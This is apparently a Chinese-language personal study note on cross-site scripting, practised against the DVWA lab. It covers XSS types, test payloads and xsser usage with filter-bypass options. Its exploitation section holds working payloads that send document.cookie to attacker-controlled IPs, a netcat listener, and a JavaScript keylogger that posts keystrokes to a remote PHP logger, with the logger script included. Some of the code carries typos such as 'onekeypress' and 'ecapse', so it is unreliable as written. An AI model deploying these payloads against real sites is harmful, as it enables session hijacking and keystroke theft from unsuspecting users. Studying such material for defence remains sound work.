• xss.md


    xss

    cross-site-scripting

    javascript

    • 嵌入html <sctipt>alert("XSS");</script>
    • 元素标签:<body onload=alert('XSS')>
    • 图片:<img src="javascript:alert("XSS);">
    • 其他:<iframe>, <div>, <link>
    • DOM对象,篡改页面内容

    类型

    1. 存储型
    2. 反射型
    3. DOM型

    xss检测

    <a href="192.168.1.1">click</a>
    
    <script>alert("XSS")</script>
    
    <a href='' onclick=alert("xss")>type</a>
    
    <img src="http://1.1.1.1/a.jpg" onerror=alert("xss")>
    

    xss利用

    ​ nc -vnlp 80 #攻击机上执行

    ​ 被攻击执行

    <script>window.location="http://www.sina.com"</script>
    		<script>window.location="192.168.1.102"</script>  
    		
    <iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
    <script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
    
    <script src="http://1.1.1.1/a.js"></script>
    	a.js
    		var img = new Image();
    		img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
    
    

    键盘记录器

    keylogger.js

    document.onekeypress = function(evt){
        evt = evt || window.event
        key = String.formCharCode(evt.charCode)
        if (key){
            var http = new XMLHttpRequest();
            var param = encodeURI(key);
            
            http.open("POST","http://1.1.1.1.keylogger.php",true);
            http.setRequestHeader("Content-type","applicant/x-www-form-urlencode");
            http.send("key="+param);        
        }
    }
    

    Keylogger.php

    <?php
    $key = $_POST['key'];
    $logfile = "keylog.txt";
    $fp = fopen($logfile, "a");
    fwrite($fp, $key);
    fclose($fp);
    ?>
    <script+src="http://1.1.1.1/keyloger.js"></script+src>
    <a href="http://192.168.1.102/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.1.103/keylogger.js'></script>"xss</a>
    

    Xsser

    xsser -u "http://1.1.1.1/dvwa/" -g "xss_r/?name=" --cookie="dadadadsadasddsadsa" -v --reverse-check
    -u :
    	url
    -p:
    	post
    -g:
    	get
    --heuristic:
    	启发式的,检测被过滤的字符
    --reverse-check:
    	连接至返回的url(反向连接)
    

    绕过过滤机制

    对payload进行编码
    	--Str
    	--Une
    	--Mix
    	--Dec
    	--Hex
    	--Hes
    	--Dwo
    	--Doo
    	--Cem=CEM
    xsser -u "http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; HPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'
    

    注入检测

    --Coo
    --Xsa
    --Xsr
    --Dcp
    --Dom
    --Ind
    --Anchor
    --Phpids
    

    攻击

    --Doss
    --Dos
    --B64
    --Onm
    --Ifr
    

    存储型

    DOM

    <script>
        var img = document.createElement("img");
    	img.src = "http://192.168.11.12:88/log?"+ecapse(document.cookie);
    </script>
    
  • 相关阅读:
    常用纹理数据库
    开源许可协议
    3TB-GPT-MBR
    ubuntu配置cudnn
    神经网络模型种类
    What is R语言
    DataWindow.NET 控件 实现点击列头排序
    PB调用C# Windows窗体
    工商银行卡网上查询开户行
    【DevExpress】1、SearchLookUpEdit详解
  • 原文地址:https://www.cnblogs.com/nsfoxer/p/14348054.html
Copyright © 2020-2023  润新知